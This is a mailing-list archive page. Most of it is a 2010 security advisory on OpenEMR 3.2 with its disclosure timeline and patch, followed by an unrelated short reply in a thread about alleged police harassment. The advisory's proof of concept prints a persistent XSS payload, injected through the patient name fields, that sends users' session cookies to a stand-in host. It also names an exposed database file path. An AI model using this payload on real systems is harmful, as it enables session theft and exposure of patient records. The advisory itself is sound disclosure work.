[Full-disclosure] RSN-2010-01 -- Multiple vulnerabilities in OpenEMR Electronic Medical Record Software

2010-06-23 Thread David Shaw
Redspin Security Notice -- RSN-2010-01
Multiple vulnerabilities in OpenEMR Electronic Medical Record Software

Overview

Quote from http://www.oemr.org/
OpenEMR is a free medical practice management, electronic medical records,
prescription writing, and medical billing application. These programs are
also
referred to as electronic health records. OpenEMR is licensed under the
General
Gnu Public License (General GPL). It is a free open source replacement for
medical applications such as Medical Manager, Health Pro, and Misys. It
features
support for EDI billing to clearing houses such as Availity, MD-Online,
MedAvant
and ZirMED using ANSI X12.

Description

An issue was discovered with the OpenEMR standard installation.

There exists a persistent cross-site scripting (XSS) attack vector,
in which a patient may be maliciously named in a way that will send session
data
to a third party web host.


Details

Vulnerable Product : OpenEMR 3.2
Vulnerability Type : Session-stealing XSS  Directory Listing
Discovered by  : David Shaw (ds...@redspin.com)


Timeline

Bug Discovered:  May 14, 2010
Vendor Advised:  June 1, 2010
Vendor Response   :  June 2, 2010
Patch Released:  June 2, 2010
Public Disclosure :  June 23, 2010

Analysis

Due to an incorrectly sanitized input in the patient name field, it is
possible to create a malformed patient name that will translate into a
persistent cross site scripting exploit.

Due to the nature of the form, First Name and Last Name are reversed in
the
resulting output. As such, the Javascript injection must start on last
name
and continue on to first name.

Furthermore, there is a comma in between these two outputs which must be
taken
into account by inserting Javascript comments between the two injections. A
working demonstration of this persistent XSS is available in the Proof of
Concept section of this notice.

In addition to the cross-site scripting vulnerability, certain sensitive
directories are open by default and world-readable. For example, the
database.sql file may be read at http://server/openemr/sql/database.sql

Proof of Concept


Bug #1: Persistent Cross-Site Scripting
~~~

Once logged into OpenEMR, navigate to Management-New/Search. The resulting
menu will have form inputs for patient information. The malicious
input is as follows:

(First Name): */I.src='http://SERVER.IP/'+encodeURI(C);/script
(Last Name): scriptvar C=document.cookie;var I=new Image; /*

The resulting statement in the output is:
script
  var C=document.cookie;
  var I=new Image;
  /*, */
  I.src='http://SERVER.IP/'+encodeURI(C);
/script

When this patient has been inserted, it will show up as a blank name in the
patient database. However, when any user attempts to search for a patient
or view the list of existing patients, his session ID is sent (silently)
to web server logs (in this case, to SERVER.IP).


Solution

A patch was released on June 2, 2010 which mitigates this persistent
cross-site
scripting attack vector. This script is located on OpenEMR's Sourceforge
page:

http://sourceforge.net/tracker/index.php?func=detailaid=3010645group_id=60081atid=493003


Additional Notes

As part of its response to this problem, the OpenEMR project released an
early
version of this advisory on their Sourceforge developer forum. The original
thread is located at:

https://sourceforge.net/projects/openemr/forums/forum/202506/topic/3530656

Out of respect for OpenEMR developers, the release of this advisory was
postponed
until a working patch was released out--despite having an already made the
advisory
public by their own choice.
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Question about police harassment. Police trying over years to entrap me as hacker.

2009-09-09 Thread David Shaw
On Wed, Sep 9, 2009 at 11:43 AM, mrx m...@propergander.org.uk wrote:


 Does anybody care?

 In fact does anybody who contributes anything useful to this list use
 Hushmail? (at this time I am too lazy to look). If not I can set my spam
 filter. Amusing as it has been, it has grown tiresome.


Huh. Yeah, I don't know. I think I'll set a filter on hushmail. Oh, wait,
then I wouldn't get all your other messages!

On Wed, Sep 9, 2009 at 4:44 PM, TheLearner mrxisapl...@hush.com wrote:

 I basically got no friends left. Every last friend I have this
 local detective has pegged every last buddy I have. I'm stuck in my
 house with nobody to turn to..
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/